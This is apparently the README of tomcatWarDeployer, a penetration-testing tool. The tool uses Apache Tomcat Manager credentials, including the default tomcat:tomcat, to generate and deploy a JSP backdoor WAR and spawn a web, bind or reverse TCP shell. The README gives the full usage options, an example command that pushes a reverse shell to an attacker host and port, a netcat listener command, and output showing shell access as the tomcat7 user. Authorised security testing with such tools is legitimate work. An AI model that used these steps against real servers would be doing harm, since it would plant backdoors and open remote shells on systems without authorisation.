tomcatWarDeployer
Apache Tomcat auto WAR deployment & pwning penetration testing tool.
What is it?
This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell (either via web gui, listening port binded on remote machine or as a reverse tcp payload connecting back to the adversary).
In practice, it generates JSP backdoor WAR package on-the-fly and deploys it at the Apache Tomcat Manager Application, using valid HTTP Authentication credentials that pentester provided (or custom ones, in the end, we all love tomcat:tomcat ).
Usage
As simple as providing server's address with port, as a IP:PORT pair. Here goes the help:
user$ python tomcatWarDeployer.py --help

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
Usage: tomcatWarDeployer.py [options] server
server Specifies server address. Please also include port after colon.
Options:
-h, --help show this help message and exit
General options:
-v, --verbose Verbose mode.
-G OUTFILE, --generate=OUTFILE
Generate JSP backdoor only and put it into specified
outfile path then exit. Do not perform any
connections, scannings, deployment and so on.
-U USER, --user=USER
Tomcat Manager Web Application HTTP Auth username.
Default="tomcat"
-P PASS, --pass=PASS
Tomcat Manager Web Application HTTP Auth password.
Default="tomcat"
Connection options:
-H RHOST, --host=RHOST
Remote host for reverse tcp payload connection. When
specified, RPORT must be specified too. Otherwise,
bind tcp payload will be deployed listening on 0.0.0.0
-p PORT, --port=PORT
Remote port for the reverse tcp payload when used with
RHOST or Local port if no RHOST specified thus acting
as a Bind shell endpoint.
-u URL, --url=URL Apache Tomcat management console URL. Default:
/manager/
Payload options:
-R APPNAME, --remove=APPNAME
Remove deployed app with specified name. Can be used
for post-assessment cleaning
-X PASSWORD, --shellpass=PASSWORD
Specifies authentication password for uploaded shell,
to prevent unauthenticated usage. Default: randomly
generated. Specify "None" to leave the shell
unauthenticated.
-t TITLE, --title=TITLE
Specifies head>title for uploaded JSP WAR payload.
Default: "JSP Application"
-n APPNAME, --name=APPNAME
Specifies JSP application name. Default: "jsp_app"
-x, --unload Unload existing JSP Application with the same name.
Default: no.
-C, --noconnect Do not connect to the spawned shell immediately. By
default this program will connect to the spawned
shell, specifying this option let's you use other
handlers like Metasploit, NetCat and so on.
-f WARFILE, --file=WARFILE
Custom WAR file to deploy. By default the script will
generate own WAR file on-the-fly.user$ python tomcatWarDeployer.py -C -x -v -H 192.168.56.101 -p 4545 -n shell 192.168.56.100:8080

INFO: Happy pwning, here take that password for web shell: 'b8vYQ9EU7suV'
As one can see, there is password needed for leveraging deployed backdoor, preventing thus unauthenticated access during conducted assessment.
Also, this particular example performs reverse shell popping by connecting here to the 192.168.56.101:4545 . There one can observe:
user $ nc -klvp 4545
listening on [any] 4545 ...

uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)That would be all I guess.
